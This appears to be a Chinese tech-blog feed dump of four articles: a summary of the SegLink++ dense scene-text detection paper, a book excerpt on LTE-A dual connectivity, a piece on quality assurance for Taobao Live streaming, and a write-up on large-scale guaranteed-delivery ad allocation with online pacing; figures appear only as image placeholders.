        论文推荐|[PR 2019]SegLink++:基于实例感知与组件组合的任意形状密集场景文本检测方法 Fri, 02 May 2025 09:39:04 +0800 image.png
            本文简要介绍Pattern Recognition 2019论文“SegLink++: Detecting Dense and Arbitrary-shaped Scene Text by Instance-aware Component Grouping”的主要工作。该论文提出一种对文字实例敏感的自下而上的文字检测方法,解决了自然场景中密集文本和不规则文本的检测问题。该论文提出的Instance-aware Component Grouping(ICG)方法,能够在自下而上的文字检测方法的基础上大大提高密集文本检测的效果。在该论文提出的一个商品密集文本检测数据集DAST1500上,该方法的结果明显优于同时期的其他文字检测方法。
        image.png

        Fig.1. Comparison of different scene text detectors on one proposed DAST1500 image. (a)SegLink; (b) CTD+TLOC; (c) PixelLink; (d)Proposed ICG.

        一、研究背景

            近年来场景文字检测工作主要分为两大类:自上而下的方法和自下而上的方法。自上而下的方法主要借鉴的是通用物体检测的思路,并且根据文字的特点设计相应的检测模型。这类方法通常难以处理不规则文本的检测问题。自下而上的方法,通常先学习文本行的基本组成单元,然后进行单元之间的组合得到文本行检测框。由于其灵活的表征方式,对不规则形状的文本检测有着天然的优势。自下而上的方法按照组成单元的不同又分为两类:组成单元为像素的基于分割的方法,以及组成单元为文字块的基于单元组合的方法。但是,自下而上的方法通常很难区分密集文本。密集文本检测问题是文本检测中一个广泛存在的难点问题。

        二、原理简述

        image.png

        Fig.2. Pipeline of the proposed method.


            现有的自下而上的文字检测方法存在两个问题:一是难以区分密集文本,二是自下而上的方法通常需要一定的后处理进行单元组合,而这个后处理过程一般不能和网络一起进行端到端的训练。为了解决这些问题,该论文首先提出了一种文本块单元之间的吸引关系和排斥关系的表征,然后设计了一种最小生成树算法进行单元组合得到最终的文本检测框。另外,该论文还设计了Instance-aware Loss损失函数,把文本行实例的信息引入到文本块单元的训练过程,实现了后处理过程和网络端到端的训练。
            具体的方法细节如图2所示。对于一张待检测的图片,先用VGG16网络进行特征提取,然后在不同层得到网络输出,其中有文字块单元的分类得分和文字块单元检测框的回归值,包括中心偏移量,宽和高以及旋转角度。另外,网络在不同层还会学习相邻文字块单元之间的吸引和排斥的强弱程度。对应到图2中,蓝色框表示文字块单元,绿色线段表示文字块单元之间的吸引关系,红色线段表示文字块单元之间的排斥关系,为了表示的方便,只画了其中两行文字中的文字块单元以及单元关系。
            在后处理阶段,首先利用阈值得到有效的文字块单元。这些单元以及之间的连接关系可以构成一个图的表征G=(V,E)。其中的节点V代表多尺度的图像金字塔中的文字块单元,边E代表在同一层以及跨层的文字块单元之间的连接关系。其中每个边对应这两个吸引和排斥权重值:和。
            然后设计了一种最小生成树算法进行文字块单元组合,算法伪代码如图3所示。具体的算法流程是,按照吸引关系和排斥关系的强弱值从大到小考察每个关系。如果是吸引关系,则其连接的两个文字单元属于同一个文字单元组;如果是排斥关系,则其连接的两个文字单元之间有一个排斥的约束。遍历所有有效的文字块单元关系,可以得到组合好的文字块单元组,对应图2中,不同的文字块单元组用不同的颜色表示。最后,利用每组文字块单元,可以提取出对应的文字区域的外接检测框。
        image.png

        Fig.3. Modified MST for text component grouping.


            本文的损失函数分为两部分,。一部分是文字块单元分类和回归的损失函数,另一部分是单元关系的损失函数。这两个函数都有一个实例相关的权重,该权重衡量的是对应标注框与最优检测框的匹配程度,用每个标注框与检测框最大的的倒数表示,整个过程对应图2的绿色虚线框,论文中称之为Instance-aware Loss。这样可以把后处理过程引入到网络的训练过程中,自适应调节每个文字区域中的文字单元和单元关系的损失函数权重,从而进一步提升文字检测效果。

        三、主要实验结果及可视化效果

            为了验证方法在不规则密集文本上的检测效果,本文公开了一个商品密集行数据集DAST1500,包括1036张训练图片和500张测试图片,利用ICDAR2015的IoU0.5的方法进行评测。
        image.png
        image.png
        image.png
        image.png
        image.png

        Fig. 4. Some qualitative results on DAST1500, ICDAR15 and CTW1500.


            从Table 1来看,文中的方法在商品密集行数据集DAST1500上取得了优异的性能,大幅领先同时期的其他方法。从方法自身的对比来看,在Baseline基础上引入文字块单元间吸引和排斥的关系表征以及Instance-aware Loss都能有效提升密集文本检测效果。
            对于Table 2,文中的方法在ICDAR15多方向文本检测数据集上取得较好的结果,而且检测效率也不错。另外对于Table 5,在CTW1500曲形文本检测数据集上,本文的方法也取得很好的结果,优于同时期的其他方法。
            图4展示了一些可视化的结果图。可以看到,该方法能处理任意形状的文本,在商品密集文本上也能取得很好的检测效果。

        四、总结及讨论

            本文提出了一种Instance-aware Component Grouping(ICG)的自下而上的文字检测方法,实验证明该方法在检测不规则密集文本上的有效性和优越性。ICG中文字块单元之间吸引和排斥关系的表征,以及对文字行实例敏感的Instance-aware Loss,都能够显著改善自下而上的文字检测方法的检测效果。

        五、相关资源

        论文链接:https://doi.org/10.1016/j.patcog.2019.06.020

        下载链接:http://www.vlrlab.net/papers/xu/icg.pdf

        DAST1500数据集链接:https://tianchi.aliyun.com/dataset/dataDetail?dataId=12084

        原文作者:Jun Tang, Zhibo Yang, Yongpan Wang, Qi Zheng, Yongchao Xu, Xiang Bai

        撰稿:汤 俊
        编排:高 学
        审校:殷 飞
        发布:金连文

        免责声明:

        本文仅代表撰稿者观点,个人理解及总结不一定准确及全面,论文完整思想及论点应以原论文为准。

        出处:https://mp.weixin.qq.com/s/LS_8424jn_3ksemKBgg88w
        ]]>
        关键技术 五:LTE-A DC 双连接 | 带你读《5G UDN(超密集网络)技术详解》之十四 Fri, 02 May 2025 09:39:04 +0800 第 2 章 LTE 微蜂窝和小小区技术

        2.3.5 LTE-A 小小区开关

        2.3.6 LTE-A DC 双连接

        虽然前述的载波聚合技术,能提供高效的无线频谱资源之间的聚合,但在 LTE 网络侧,由于载波聚合技术架构要求多个分量载波之间,必须由同一个 MAC 实体进行统一的调度和资源管理,这就要求多个分量载波被同一基站所配 置管理,或者虽然跨不同的基站,但它们之间能用理想低时延的回程链路(Ideal Backhual)相连,因此即使是两个独立 MAC 实体,它们之间也可进行实时的 无线资源协同操作。前面的 CoMP 技术中,已阐述了 CoMP 的应用条件要求, 对节点部署成本要求相对较高,因此跨站 CoMP 实际应用并不多。在现实的异 构网络部署中,宏基站之间或者宏基站和微基站之间,可能来自不同的网络设 备供应商(异厂家),或者它们之间通过更低成本的非理想回程链路(Non-Ideal Backhual)承载连接,这就使得载波聚合技术的应用受到很大限制,甚至载波 聚合根本不能正常工作。
        为了能够实现非理想回程链路相连接的基站之间的载波聚合(适用的 场景更广泛),以提高系统容量、用户平均吞吐率和峰值速率以及在异构微 蜂窝环境中的移动性能,LTE-A Rel-12 引入了双连接技术(DC,Dual Connectivity),它使得终端和两个异频配置且有独立 MAC 调度的基站,同时 分别建立无线链路(主 RL 和辅 RL),终端同时使用它们的无线资源进行上下 行数据传输。
        LTE-A DC 工作模式下,终端的控制面信令无线承载(SRB,Signaling Radio Bearer)建立在主服务小区集合内(通常为宏小区),而用户面数据无线 承载可建立在任一主或辅服务小区集合内。通过 LTE-A DC 技术,不仅 LTE 网络下的无线资源能获得更多的聚合而被利用,终端的平均吞吐率也能像载波 聚合那样获得提升,当终端在不同的辅小小区之间移动切换时,由于终端可以 始终保持与主节点 MeNB 的主无线链路,因此可保证主服务小区集合(MCG, Master Cell Group,可包含一个 Pcell 和若干个 Scell)侧的 SRB 及 DRB 上 数据传输不被中断,从而使用户通信体验得到改善,同时辅服务小区集合侧 (SCG,Secondary Cell Group,可包含一个 PScell 和若干个 Scell)硬切换的 健壮性也增强。此外,MME 通过主 S1-C 连接锚定在主节点(MeNB)上,可 有效减少辅节点(SeNB)侧的小小区切换改变而带来的与核心网的信令交互,从而减少核心网侧的信令负荷。LTE-A DC 也可与各个基站内的 CA/CoMP 等 技术联合在一起应用,因为它们涉及不同的协议层操作。LTE-A 暂时不支持 终端和两个同频配置的基站之间进行双连接操作,因为同频工作的主辅服务小 区间的无线干扰,极大地降低了系统性能的增益(注:5G NR 可以支持终端和 两个同频配置的 gNB 基站之间进行 NR 双连接操作,因为通过波束赋形等增强 手段,同频工作的主辅服务小区间的无线干扰能被抑制)。
        LTE-A DC 技术中,网络侧控制面和用户面的架构如图 2-11 所示。
        image.png
        LTE-A DC 操作下的两个 eNB 分别为主节点 MeNB(Master eNB)和辅 节点 SeNB(Secondary eNB),它们通过普通的 X2 逻辑接口相连接,X2 接 口可由回程链路或者非回程链路回程传输承载。在 LTE-A DC 中,UE 通过 MeNB 与核心网控制面节点 MME 只有唯一一个 S1-MME(S1-C)连接,终 端通过 MeNB 与核心网用户面节点 SGW 可以有多个 S1-U 连接,另外终端还 能同时通过 SeNB 和 SGW 有多个 S1-U 连接(1A 用户面分流架构)。MeNB 还可将 DRB 进行 MCG Split 承载分流操作,通过 X2-U 接口分流一部分 PDCP PDU 到 SeNB 侧,让 SeNB 辅助传输被分流的 PDCP PDU(3C 用户面 分流架构)。注:LTE-A DC 不支持 SCG Split 承载分流操作,即 SeNB 不能 通过 X2-U 接口分流一部分 PDCP PDU 到 MeNB 侧,让 MeNB 辅助传输被分 流的 PDCP PDU(3X 用户面分流架构)。
        LTE-A DC 技术中,空口侧下行和上行的控制面 / 用户面架构分别如图 2-12 和图 2-13 所示。
        在空口控制面 RRM 测量方面,终端在 MeNB/MCG 和 SeNB/SCG 两侧对 应的无线 RRM 测量,全由 MeNB 负责配置和管理,RRM 测量结果只在 SeNB Addtion/Modification 等流程中传递给 SeNB,辅助 SeNB 生成 SCG 具体的配置。在空口 Measurement Gap 配置使用方面,LTE-A DC 采用 Single Measurement Gap,即只配置给终端一套公共的 Measurement Gap,在 Measurement Gap 对应的时隙内,MeNB 和 SeNB 两侧和终端之间都不能进 行数据调度和传输。
        image.png
        在终端能力协调方面,由于 MeNB 和 SeNB 在无线资源调度和终端基 带射频能力使用消耗方面是独立进行的,因此与无线资源调度动态紧密相 关 的 终 端 能 力( 如,Maximum number of DL-SCH transport block bits received within a TTI,Maximum number of UL-SCH transport block bits transmitted within a TTI)需在 MeNB 和 SeNB 之间提前进行预分割划 分。MeNB 负责硬分割划分这些终端基带能力,并将能力分割后的结果(SeNB 可使用的部分终端基带能力)发送给 SeNB 使用。MeNB 在终端能力硬分割划 分时,允许分配给 SeNB 的部分能力 +MeNB 自己使用的部分能力之和,稍微 超过终端的实际总能力。为了提高 UE 能力资源的使用率,可以假设:MeNB和 SeNB 会以极低概率同时使用消耗自身侧的最大终端能力部分,否则,一旦 冲突发生,会导致在该时刻两侧的数据传输都失败。
        image.png
        在空口数据传输安全控制方面,如图 2-14 所示,对于 LTE-A DC 中配 置的 SCG 承载,SeNB 侧使用的根密钥为 S-KeNB,用于继续推导 SCG 承载 的加密密钥 Kup,S-KeNB 是由 MeNB 自己维护的根密钥 KeNB 及小小区计 数器(SCC,Small Cell Counter)联合推导产生,并在生成 S-KeNB 后,在 SeNB Addtion/Modification 流程时发送给 SeNB 使用。每当 MeNB 不变但 SeNB 要变,SCC 都要随之更新和递加 1。SCC 由 MeNB 在空口直接发送给 UE,UE 本地推导产生 SCG 侧根密钥 S-KeNB,和 SeNB 内的 S-KeNB 相匹 配。MeNB 切换变化而导致的根密钥 KeNB 改变,或者 SCC 达到最大值翻转, 或者任何 SCG 承载对应的 PDCP SN 值达到最大值翻转,均可触发 S-KeNB 的更新过程,终端均要触发 SCG Change 流程重启 SCG 用户面。
        从上述 LTE-A DC 在 RRM 相关配置、UE 能力协同、安全 S-KeNB 的产 生过程等方面可以看出,SeNB 侧操作很大程度上受到 MeNB 的约束和控制, SeNB 除了在 MAC 调度 PHY 传输上拥有灵活自主权之外,其他 RRC 高层控 制方面基本都受到 MeNB 的强控制,笔者称这种为单 RRC 模型,此时 SeNB 不具备独立的 RRC 决策和配置能力(注:在后面 5G MR-DC 技术中,还有双 RRC 模型,此时 SeNB SN 具备一定独立的 RRC 决策和配置能力,这就能削 弱主辅节点之间的耦合绑定关系)。
        image.png
        总的来说,LTE-A DC 是一种具有里程碑意义的关键小小区技术,它使终 端从过去的单无线链路工作方式,拓展到了双无线链路工作方式,并且未来可 能进一步拓展到更多无线链路的工作方式。多链路意味着更多的无线资源被聚 合利用和更强的无线链路健壮性。LTE-A DC 的网络侧和空口侧技术架构和主 要的工作方式,也为未来 5G NR 系统相关的多连接技术,如 MR-DC 奠定了 母胎雏形,后面读者将会看到:它不仅适用于同 RAT 系统内的双 / 多连接,还 可适用于多 RAT 系统之间的双 / 多连接操作。
        在传统的单无线链路工作方式下,蜂窝网络的部署都只能以小区为中心, 处于服务小区不同物理位置的 UE,通常获得不同的无线覆盖和容量供给性能。 随着 UE 的移动,这种变化常常又会影响到用户的通信业务体验,如数据传输 速率高低变化、无线链路健壮性变差、数据传输中断等。5G UDN 部署为双 / 多无线链路协作创造了客观条件,蜂窝网络的部署可以逼近以用户为中心的终 极目标,即无论移动的 UE 处于网络中服务小区间的何种位置,都可获得多条 无线链路联合的无线覆盖和容量供给。由于多条无线链路之间的性能均衡补充 作用,用户的通信业务体验相对更容易保持前后一致,如数据传输速率保持稳 定、链路健壮性一直很好、无任何数据传输中断等。
        在未来 5G UDN 部署场景下,UE 在异构微蜂窝环境下的双 / 多无线链路 协作能力,将会成为一种重要的能力标配,它不仅可以大大提高异构网络的系 统容量和无线资源利用率,还能大大提升用户对各种高性能通信业务的体验期望,如超高的用户峰值速率、超高稳定的平均数据吞吐率、极低的数据传输时 延和超可靠的无线链路健壮性等。有一些 5G 高性能要求蜂窝业务,如高清幻 真视频、移动虚拟现实、大数据同步、无人驾驶控制等,甚至只能在 5G UDN 部署下依赖多连接技术,才能顺利地开展应用,因此 5G 异构微蜂窝网络下的 CoMP 技术和双 / 多连接技术,也必将得到进一步的发展提升。

        ]]>
        Oh My God,揭秘淘宝直播流畅买买买的背后! Fri, 02 May 2025 09:39:04 +0800 image.png
        作者|马俊(东坡)
        出品|阿里巴巴新零售淘系技术部

        本文知识点提炼:
        1、淘宝直播简介
        2、四大保障手段
        3、整体质量策略

        淘宝直播简介

        ▐ 疯狂的淘宝直播

        2019 年的双十一,淘宝直播又疯狂了一把!

        双十一当天,淘宝直播成交近 200 亿!超过 50% 的品牌商家通过直播获得增长,直播成为了天猫双十一商家的标配。

        image.png

        ▐ 增长背后的挑战

        淘宝直播始于 2015 年,短短四年间打造了一个年成交千亿的行业,走出了一条与众不同的道路。在高速增长的背后是整个系统持续的稳定可靠,但是快速的业务迭代、复杂的系统设计和苛刻的成本控制给系统稳定性带来了不小的挑战。

        电商直播是音视频、实时互动和电商交易的技术结晶,相比于传统的电商媒介(图文、视频)它的技术复杂度更高。整个技术框架由音视频流链路和电商/互动逻辑链路构成。音视频流主要涉及推流节点、中心流服务和播放节点;电商/互动逻辑核心是主播中控台、实时消息通道和互动播放。这些系统涉及到不同的技术架构,它们相互复杂地交织在一起,其中任何一个系统的变更都可能影响整个业务链路和逻辑。

        image.png

        随着 4G 移动网络普及,互联网内容从文字逐步演进到了视频、直播,直播形态的各种产品遍布互联网行业。移动时代直播本身就是一种新的产品形态,当它和电商交织在一起的时候就衍生出更多的可能。业务方往往要从这千万种的可能性中摸索出行之有效的业态和模式,而这种摸索意味着高强度的迭代和尝试。淘宝直播的客户端几乎以每周一个版本的速度前进,服务端更是以日在变化,我们同时维护着 8 个端;除此之外还要承接源源不断的合作诉求和大促职责。不停的迭代和变化确实能够带来产品的进化,但是过于频繁的变更也将系统的稳定性逼到了墙角。

        image.png

        除开前述的两点之外,直播的内容形式与曾经的图文是截然不同的。更加强调实时的互动、强烈的氛围和流畅的观看,而这些特点本身又对消息通道、网络和 CDN 等软硬件资源提出了更加苛刻的要求。

        技术上必然追求最低的成本带给用户最好的体验,包括最小的带宽消耗、最大的机型覆盖、最清晰和流畅的观看体验。这就意味着,必须有一套有效的度量手段来评价我们的成本和产出让 ROI 最大化。

        四大保障手段

        淘宝直播的质量保障体系主要围绕着如何解决上述三大挑战来进行建设。限于文章的篇幅,会从最核心的四个方面来介绍如何有效地保障淘宝直播以及电商媒体的质量。

        ▐ 工具建设

        俗话说“工欲善其事,必先利其器”。前文说过直播是一个迭代频繁的业务,测试人员在频繁的迭代下不得不面临一次次的测试和反复的业务回归。当业务高度复杂功能繁多的时候,这样的测试和回归简直就是噩梦。

        以下图为例,图中展示了部分淘宝直播的互动玩法,通过主播中控台配置具体的互动玩法就能实时地投放到直播间与用户形成互动。但是不同的互动配置和不同的前端展现组合出大量的业务场景,仅靠传统的测试手段或者自动化是无法支撑的。

        image.png

        有什么更好的办法呢?回到业务逻辑实现,在拥有良好的编程规范的前提下,无论是客户端还是服务端,核心的业务逻辑实现是由各种内部或外部的接口组合而成。通过解构业务逻辑,再将接口组合成测试逻辑。仍旧以互动玩法为例,互动功能可以解构为互动服务、消息通道、主播服务和客户端渲染,将互动服务、消息通道和客户端渲染剥离再按照内置互动配置、调用消息通道接口触发客户端渲染的方式重新构建出新的功能,通过复用业务接口重新构建逻辑的方式可以将业务逻辑上不相关的能力关联起来形成一系列的测试工具。

        对整个直播系统进行抽象解构,下图“业务域”内“的主播服务”通过消息通道和服务网关利用互动服务和直播基础服务与客户端进行交互,客户端自身具备通过服务端指令进行动态或者静态渲染的能力。在“测试域”内,可以将业务域解构的各个逻辑重新进行组合。

        这种重组可以分为两个方面,客户端侧和服务端侧;在服务端侧不同的接口组合后可以重构出多维信息查询、互动模拟、开放验收等各种业务保障工具;在客户端侧基于动态、静态层和 native 的接口进行二次开发,将服务端信息和客户端本地能力聚合到测试专用的“调试浮层”便于快速能力验证、组件配置和信息透出等。

        image.png

        通过以上的思路,我们构建了成系列的直播(媒体)专用测试工具、打造了端侧媒体框架,全面提升了测试工作的效率,并以此为基础反复打磨形成一个完整的质量技术架构(见“整体质量策略-技术架构“)。

        ▐ 链路排查

        仅仅通过测试工具提升效率是不够的,在快速迭代中会发生各种线上/线下的问题,问题的快速排查准确定位至关重要。淘宝直播的系统纷繁复杂,涉及到音视频流链路和电商/互动逻辑链路,横跨服务端、CDN、移动端和PC端。通常需要使用不同的工具、平台和手段进行问题排查,而且大多数时候平台之间数据无法关联互通。

        image.png

        因此需要为复杂的直播体系构建一套全链路的排查系统。工具建设是在接口层面进行业务解构和重新组合,那么链路排查也可以复用这种思想。不同的是要进行链路抽象和简化、业务流程划分、业务数据重组和排查流程构建。更直白的说,就是将不同的业务阶段和不同的技术平台进行抽象和划分;将同一技术平台的数据按照唯一的 ID 进行聚合,再将不同的阶段同一 ID 数据进行聚合;对于聚合在同一 ID 下的数据进行诊断,利用规则匹配、智能算法和人工经验;同时结合线下的测试工具,协助快速调试和复现。

        image.png

        ▐ 数据分析

        通过工具建设和链路排查再结合自动化手段,建立了高效的线上线下的质量保障能力;然而链路排查仅解决了具体的问题,对于系统和业务全局层面需要了解更多,例如线上整体质量状况、潜在问题的发现和预防、业务/技术效果评价等等。

        在链路排查中,已经将不同业务阶段和技术阶段的数据进行了聚合和分析,在这些数据的基础上进行再加工,包括清洗、计算、聚合和分析,就能够将这些数据更有效地组织起来进行利用。

        基于这样的想法,我们设计了一套数据分析的方法将数据划分为“大盘数据”、“纬度数据”、“详情分析”三个层次。

        大盘数据主要针对线上的某个横向层面的整体分析和监控,一般划分为“业务”、“技术”、“舆情”、“异常”四个方面,大盘数据的波动意味着某个环节发生了问题。

        在大盘的基础上按照不同的业务域和技术域进行拆分,每个域代表一个纬度的变化,每个纬度由多组该域内的指标构成;一般我们按照不同的端来划分技术域,按照不同的业务场景来划分业务域(图中仅为示意)。

        当大盘、纬度划分清楚后,每个细节的数据指标都会归属到相应的“大盘”-“纬度”之下,再对这些细节的指标提供对比、趋势分析、多维度聚合等分析工具从而实现从全局到细节的分析和监控,针对特定的指标结合监控系统就能进行有效的告警。

        image.png

        这一整套数据分析的方法都建立在实时和离线的大数据分析平台之上。首先通过各端的上报工具采集原始数据形成实时数据流和转储的离线数据表;实时数据流通过实时计算平台(阿里云实时计算)对数据流进行清洗和计算;计算完成后将数据转储到搜索引擎,由引擎负责索引、排序和聚合;最后通过引擎接口返回给服务端,服务端可以对引擎提供的数据进行二次加工。

        在整个过程中如果实时计算任务出现异常或者丢失,可以通过转储到离线表的数据进行补偿计算再流入到搜索引擎。

        image.png

        ▐ 媒体质量

        工具建设(技术框架)、链路排查和数据分析提供了通用的质量保障能力,可以被应用到直播或者多媒体之外的场景。而音视频(直播)有自身的特点,例如画质清晰度的要求、CDN带宽的消耗和移动端的性能限制等,需要媒体专项来保障,因此我们将这些专项定义为媒体质量。

        媒体质量总结为三大测试专项和两个建设领域,三大测试专项指的是“特性测试”、“(媒体)SDK测试”、“专项测试”,两大建设领域分别是“音视频实验室建设”和“标准化建设”。

        • 特性测试(画质、特效、卡顿、延时等)

        构建一套通用的媒体特性测试框架,对媒体的特性进行检测和评估

        • SDK测试(推流、播放、剪辑三大SDK )

        构建统一的媒体demo、统一的SDK测试和报告、

        • 专项测试

        覆盖各端的性能指标、渲染能力评估,同时与竞品对比

        • 音视频实验室建设

        统一的线下物理实验室、模拟各种光照、音源、采集环境

        • 标准化建设

        媒体质量评价的核心,三统一(环境统一、流程统一、标准统一),一体化执行结果可沉淀可分析

        image.png

        重点介绍下特性测试框架,整个框架由推流端的“预处理模块”、网络端的“可编程网络控制”、播放端的“分析模块”以及“评估模块”四部分块构成。

        • 预处理模块

        通过hook的方式实现在推流侧统一采集内容、定制单帧检测点;

        • 可编程网络控制模块

        通过程控方式来调节推流端到播放端的网络环境,自动实现网络环境切换统一网络参数;

        • 分析模块

        主要是负责抓取播放端解码YUV数据并结合帧检测点和评估算法进行特性分析;

        • 评估模块

        提供了不同的特性评价方法可以被分析模块调用。

        通过这套框架,模拟完整且标准化的媒体场景,通过调节帧检测点、采集内容、网络参数、编解码参数等实现媒体特性的专项测试。

        image.png

        整体质量策略

        通过这四年从无到有的摸索,淘宝直播和媒体电商业务最核心的质量策略可以抽象为一个核心思想、一套技术架构和一份能力模型。

        ▐ 核心思想

        • 质量体系必须是平台化的
        • 质量体系不仅仅服务测试
        • 质量体系必须数据说话

        image.png

        ▐ 技术架构

        • 双端技术框架和全栈开发能力
        • 核心技术是大数据分析和媒体技术

        image.png

        ▐ 能力模型

        • 链路排查将逐渐成为系统质量保障标配能力
        • 测试团队应当建设业务专项能力深度(多媒体专项)

        image.png

        We are hiring

        淘系技术质量部电商丰富的场景,广阔的平台等你一起来挑战!
        在这里你可以接触到全链路压测、海量的数据处理、人工智能推荐算法等领域;可以涉猎业界最前沿的测试技术、定期而丰富的技术分享;还可以与层层选拔的各路优秀同学共同战斗,共同成长!
        欢迎测试开发工程师/专家加入我们,让科技引领面向未来的商业创新和进步。
        简历投递至]]> 10亿计算下的合约广告,如何做个性化投放? Fri, 02 May 2025 09:39:04 +0800 作者| 荣纯

        一、导言

        合约保量广告(Guaranteed Delivery)是一种常见的品牌展示广告采买方式,现有的技术解决方案通常是在人群粒度上对问题进行抽象和建模,这种建模方式一方面忽略了相同人群下用户行为的差异,另一方面无法对用户粒度的约束进行精确的控制。

        目前学术界关于合约广告流量分配问题的研究,通常会将这个问题抽象为合约侧-供给侧的二部图匹配问题,但目前的分配策略是停留在人群和标签粒度上,这要求人群和标签的划分必须是正交化的;除此之外,在人群层次上进行合约保量分配也还有不少局限性。

        首先,由于只在人群层面进行分配,无法通过精准的用户行为预测将用户的个性化行为匹配至正确的广告,会降低广告主的投资回报率,进一步的降低广告平台的未来收入。其次,广告主通常会提出复杂的投放控制要求,比如在用户粒度的频次控制约束,一个典型的做法是,为了能够提高固定预算下的uv触达,广告主往往会限制单个uv的曝光频次。因此,传统的人群标签粒度分配的低效性使得其很难适用于目前的合约广告投放产品。

        在本文中,我们尝试建立一个大规模分布式的合约广告投放分配算法,并在其中引入用户个性化的投放指标,在考虑用户交互行为的基础上,在用户粒度进行合约广告的投放分配工作。我们的算法可以处理复杂的约束,例如广告优先级,广告的展示频控以及广告贴位容量限制等。在这个基础上,我们还开发了实时预算平滑策略,通过预算平滑控制进一步优化广告的投放效果(如单位点击成本CPC)。目前我们的系统在阿里妈妈品牌展示广告实际承载了十亿规模的离线计算任务并在线应用,我们也将在最后给出离线和在线的实验结果来验证方案的的准确性。

        二、问题定义

        1201.png

        这是一个经典的online assignment的问题,在数据规模较小且全局信息已知的情况下,使用匈牙利算法、网络流算法和混合整数规划方法都可以获得理想的最优解。但是对于互联网广告投放系统而言,数据规模很大,而且由于性能要求,对于一个请求,不可能也没办法确定全局信息。

        1201.png

        1201.jpg

        1201.png

        1201.png

        1201.png

        1201.png

        1201.png

        以上就是对问题的定义和描述,众所周知淘系用户日均DAU的规模是亿级别以上,而广告每天也成百上千的规模,在这样一个大规模求解的背景下,难点在于如何对这个问题进行求解并保持提供高并发、低延迟的广告服务。为此我们在离线阶段对这个问题进行了大规模的分布式求解,而在线阶段为了能够适配流量的变化情况,我们开发了独立的pacing模块来进行流量的平滑控制。

        三、系统实现

        3.1 系统描述

        1201.png

        上图是我们系统的整体架构图和整体的数据流程,主要包括面向广告主订单签订的CRM管理系统,离线算法和在线引擎部分。广告主作为管理平台和广告主之间的桥梁,主要用于订单信息的制定,包括人群圈选,流量询量,在线合约签单,创意信息绑定等。离线的处理框架将会同步这些合约信息,并与获取的离线日志一起,通过基于PS架构的分配优化模型进行离线分布式算法求解,将计算结果导入到Model中并同步至在线系统。最后当实时请求到来时,Merger作为在线的引擎,将请求RTP服务,pacing服务,和分配模型服务,经过离线的分配算法模型,得到最终投放的广告并返回给前端客户端展示。

        3.2 离线优化

        离线的部分算法分为2个阶段,第一个阶段我们将原问题转化为其对偶形式,通过并行化求解得到问题的对偶变量。第二阶段,由于现实投放优先级的影响,我们通过离线拓扑排序的方式,给出并行加速的方案,从而使得大规模数据集上的求解效率大幅度提升。

        3.2.1 阶段一分布式求解

        1201.png

        对于我们的问题而言,用户的的量级远远大于合约的数量,所以求解合约侧对偶的的计算代价会远远大于供给侧。我们通过分布式计算的方式进行水平扩展,将供给侧对偶变量的计算分布在ps的worker节点上。而对于供给侧来说,其更新的过程放在server上,woker通过pull的方式获取最新的对偶变量。观察合约侧的对偶变量约束,我们发现其等式求解规模和广告主人群的规模是一致的,这个计算量对于通常的计算而言往往过于巨大,因此我们采用一种近似的方法来计算和更新这个对偶变量。注意到在更新的过程中,这个变量是一个保持单调递增的过程,相邻两轮的迭代满足这样一个不等式:

        1201.png

        1201.png

        上述伪代码是我们更新对偶变量的算法描述,而关于供给侧对偶变量的求解,我们很容易注意到一个结论:

        3.2.1-(7).png

        而且关于这个方程的目标是单调的,因此可以通过二分求解的方式得到结果,具体过程我们在这里不进一步描述。

        3.2.2 阶段二并行优先级加速

        1201.png

        1201.png

        注意到原始的计算过程中 是单独顺序计算的,在数据规模较小的情况下,这个计算量尚可接受,但是当合约数量达到一定规模后,比如上万的规模,计算效率明显比较低下。而之前的性质告诉我们,对于任意2个正交的人群,他们的计算过程并没有优先级的重叠,因此是可以并行计算的。举个简单的例子,对于定向北京和上海的2个用户群来说,即便优先级存在不同,但是由于互相没有重叠,一个对偶的占量并不会影响另一个定向的库存,这样2个任务是完全可以并行计算的。

        1201.png

        在这个前提下,我们在离线构建二分图的时候,由于保存了每个用户的合约广告挂载情况,从而可以得到每个用户的实际订单的优先顺序,如上图所示,根据原始的订单分配顺序,进一步可以得到所有订单的DAG大图。最后很容易通过拓扑排序的方式得到我们优化后的并行化执行序列。接着拿上图进行举例,原始的更新顺序是[A] → [H], 通过DAG图的构建以及最终拓扑排序的结果,我们最终得到[A, B] → [C, D, E] → [F, G] → [H]这样只有4个需要处理的批次,相比于原先8个批次的执行,效率可以提升近一倍左右,而在实际的实验中,这个优化的效率提升会更加明显。

        1201.png

        3.3 在线pacing

        之前的大多数展示投放,尤其是合约保量这里,许多系统采用了轮盘赌的方法或者是贪心算法来进行在线投放。由于在投放之前,我们模型的对偶变量已经确定,对于未来的投放概率往往是不可改变的,这样会带来一个问题,投放的结果将严重依赖于流量预估的结果,这会导致线上缺量或者超投的情况发生。为了能够及时的适应流量分布的变化,我们在合约投放之后增加一个pacing的调控模块。我们注意到相比于天级别的流量波动,分钟级别的波动往往比较小,因此我们可以在分钟级这个level上,进行实时的调控。

        1201.png

        1201.png

        1201.png

        区别于之前合约保量的HWM算法和SHALE算法,我们改进了线上的投放方式,原有的轮盘赌方式本质上在效果层面随机选择广告,对于展示效果而言会有信息损失。如果直接贪心选择效果最好的投放,在线上由于分配占量的问题,会有投放缺量风险,通过将pacing和XSHALE这两种方式结合在一起,引入实时的pacing调控,使得我们的方法可以更好适应线上流量的变化。

        四、实验结果

        我们在淘宝的数据集上进行离线的验证,这些数据收集于手淘banner和猜你喜欢的合约广告。在离线阶段我们会验证求解对偶变量的正确性和高效性,同时用实际的线上A/B测试来验证我们离线模型和在线pacing服务的正确性。

        4.1 离线实验

        我们和GD的经典算法HWM算法和SHALE算法进行比较,除了求解时间外,算法指标方面我们从投放完成率,惩罚项,L2-Norm和平均点击成本这四个指标来评测。四个指标的定义分别如下所示:

        1201.png

        1201.png

        离线指标评测如下表和下图所示,在各种情况下与其他方法相比,我们的系统都能将CPC降低近50%。虽然我们在完成率,惩罚项和L2-Norm中有一些收益的损失,但与CPC降低幅度相比,我们可以接受这些损失。时间性能方面,HWM是最快的,因为它仅运行一次迭代。

        但是,与SHALE和我们的方法相比,HWM的投放性能相对较差,线上不具备使用的可能。由于我们考虑了多目标的分配, SHALE在完成率方面略胜于我们的方法。但是我们的方法在改进投放指标方面有显著的的提升。如之前所述,广告分配问题的一个瓶颈是求解对偶变量α和β的时间。我们采用了并行化的方案以及基于DAG中拓扑排序的加速调度方式,可以更加快速的计算对偶变量α和β,这种加速比在大数据上的优势会更加的明显。

        1201.png
        1201.png

